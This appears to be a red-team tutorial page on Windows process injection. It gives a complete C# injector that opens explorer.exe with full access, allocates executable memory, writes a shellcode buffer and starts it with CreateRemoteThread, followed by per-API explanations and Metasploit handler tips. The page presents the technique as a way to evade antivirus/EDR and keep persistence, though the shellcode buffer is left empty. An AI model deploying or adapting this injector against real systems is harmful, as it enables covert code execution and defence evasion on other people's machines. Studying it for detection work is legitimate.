# Using VirtualAllocEx and WriteProcessMemory

## Overview

Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.&#x20;

This technique leverages the following below kernel32 APIs.&#x20;

### Win32 Api's

{% hint style="info" %}
[OpenProcess](https://www.pinvoke.net/default.aspx/kernel32/OpenProcess.html) - Open the target process

[VirtualAllocEx](https://www.pinvoke.net/default.aspx/kernel32/VirtualAllocEx.html) - To allocate memory within the target process.

[WriteProcessMemory](https://www.pinvoke.net/default.aspx/kernel32/WriteProcessMemory.html) - To copy shellcode to target

[CreateRemoteThread](https://www.pinvoke.net/default.aspx/kernel32/CreateRemoteThread.html) - To execute shellcode

Optional&#x20;

[GetProcessesByName](https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.getprocessesbyname?view=net-6.0) - Get a handle to the target process
{% endhint %}

{% hint style="warning" %}
Use EXITFUNC=thread in msfvenom payload to not kill parent process on exit

\
Also setting it in multi/handler

msf6 exploit(multi/handler) > set exitfunc thread
{% endhint %}

## Walkthrough

1. First, we will need to get a handle on the remote process.&#x20;
2. Secondly, we open a handle to that process.&#x20;
3. We then need to allocate memory within the target process.
4. We can then copy our shellcode into the memory address.
5. Lastly, we need to execute the shellcode in the remote thread.

## Code&#x20;

```csharp
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace process_inject
{
    public class Program
    {
        [DllImport("kernel32.dll", SetLastError = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);

        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);

        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        [DllImport("kernel32.dll", SetLastError = true)]
        static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);

        [DllImport("kernel32.dll", SetLastError = true)]
        public static extern int GetLastError();

        public static void Main(string[] args)
        {

            byte[] buf = new byte[1024];

            int pid = 0;
            string targetProcess = "explorer";
            Console.WriteLine("********************************");

            try
            {
                Process[] process = Process.GetProcessesByName(targetProcess);
                pid = process[0].Id;
                Console.WriteLine($"[i] Remote process pid: {pid}");
            }
            catch (Exception ex)
            {
                Console.WriteLine($"[!] ERROR Unable to get process id for {targetProcess}: {ex.Message}");
                return;
            }

            Console.WriteLine($"[i] Opening remote process pid: {pid}");
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
            if (hProcess == IntPtr.Zero)
            {
                Console.WriteLine($"[!] ERROR Unable to open remote thread: {GetLastError()}");  
                return;
            }

            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            Console.WriteLine($"[i] Memory allocated at 0x{addr.ToString("X")}");
            if (addr == IntPtr.Zero)
            {
                Console.WriteLine($"[!] ERROR Unable to allocate memory: {GetLastError()}");
                return;
            }

            if (!WriteProcessMemory(hProcess, addr, buf, buf.Length, out var outSize))
            {
                Console.WriteLine($"[!] ERROR WriteProcessMemory failed: {GetLastError()}");
                return;
            }

            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
            if (hThread == IntPtr.Zero)
            {
                Console.WriteLine($"[!] ERROR CreateRemoteThread failed: {GetLastError()}");
                return;
            }

            Console.WriteLine($"[i] hThread created!!");
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            Console.ReadLine();
        }
    }
}

```

## Detection and AV

Detection on nt-PInject code without shellcode:

<figure><img src="https://1029482190-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FVonnsWh96xLbzU5ncJWZ%2Fuploads%2FvjMD2T63RM0atey3TMjA%2Fimage.png?alt=media&#x26;token=13a5f78b-de78-473b-bf8b-80b5679c9797" alt=""><figcaption></figcaption></figure>

## Details

### Getting a handle to the target process

Target process for this example `explorer.exe`

Getting a handle on `explorer` process that we will inject into:&#x20;

```csharp
string targetProcessName = "explorer";
Process[] targetProcess = Process.GetProcessesByName(targetProcessName);
int pid = targetProcess[0].Id;
Console.WriteLine("[i] Target process: " + targetProcessName);
Console.WriteLine("[i] Target process pid: " + pid.ToString());
Console.ReadLine();
```

### Open the target process

The first argument `dwDesiredAccess` is the access right we want to obtain for the remote process.&#x20;

{% hint style="info" %}
Based on the pinvoke documentation, the required access we want is All = 0x001F0FFF
{% endhint %}

We can call the function requesting all access rights, with the PID of the process we aim to inject into:

```csharp
IntPtr hProcess = OpenProcess(0x001F0FFF, false, pid);
```

### Call VirtualAllocEx

```cpp
LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
```

`hProcess` our process handle retrieved from `OpenProcess`

`lpAddress` we can pass a null value and let the API select and unused address

`dwSize` the amount of memory to allocate

`flAllocationType` this parameter defines the type of memory allocation.&#x20;

{% hint style="info" %}
To reserve and commit pages in one step, call VirtualAlloc with **MEM\_COMMIT** | **MEM\_RESERVE**.
{% endhint %}

Since `MEM_COMMIT` = 0x00001000 and `MEM_RESERVE` = 0x00002000, we need to set this to 0x00003000

The first argument we will need to specify the handle to our target process `hProcess`&#x20;

The second aregument `lpAddress`, we can pass a null value and let the API select an unused address

&#x20;`flProtect` we want to configure this to `PAGE_EXECUTE_READWRITE` = 0x40

```csharp
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
```

### Call WriteProcessMemory

```cpp
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
```

`hProcess` our process handle retrieved from `OpenProcess`

`lpBaseAddress` will be set to our addr pointer

`lpBuffer` point to our shellcode in the buff variable

`nSize` is the size of our shellcode

`outsize` is a destination pointer address to show the number of bytes written

```csharp
IntPtr outSize;
WriteProcessMemory(hProcess, addr, buffer, buffer.Length, out outSize);
```

### Execute shellcode with CreateRemoteThread

```cpp
HANDLE CreateRemoteThread(
  [in]  HANDLE                 hProcess,
  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,
  [in]  SIZE_T                 dwStackSize,
  [in]  LPTHREAD_START_ROUTINE lpStartAddress,
  [in]  LPVOID                 lpParameter,
  [in]  DWORD                  dwCreationFlags,
  [out] LPDWORD                lpThreadId
);
```

`hProcess` our process handle retrieved from `OpenProcess`

`lpThreadAttributes` we can set this to zero to accept the default values

`dwStackSize` we can set this to zero, the new thread uses the default size for the executable

`lpStardAdress` this is the address of the buffer we allocated with `VirtualAllocEx`

`lpParameter` is a pointer to variables which be passed to the thread function pointed by `lpStartAddress`, since our shellcode does not need any parameters, we can pass a NULL here

`dwCreationFlags`  allows creating the thread in a suspended state, we don't need it so we can set this to zero

`lpThreadId`  a pointer to a variable that receives ther thread identifies, we can set to NULL

```csharp
IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
```

## References

{% embed url="<https://www.bordergate.co.uk/process-injection/>" %}
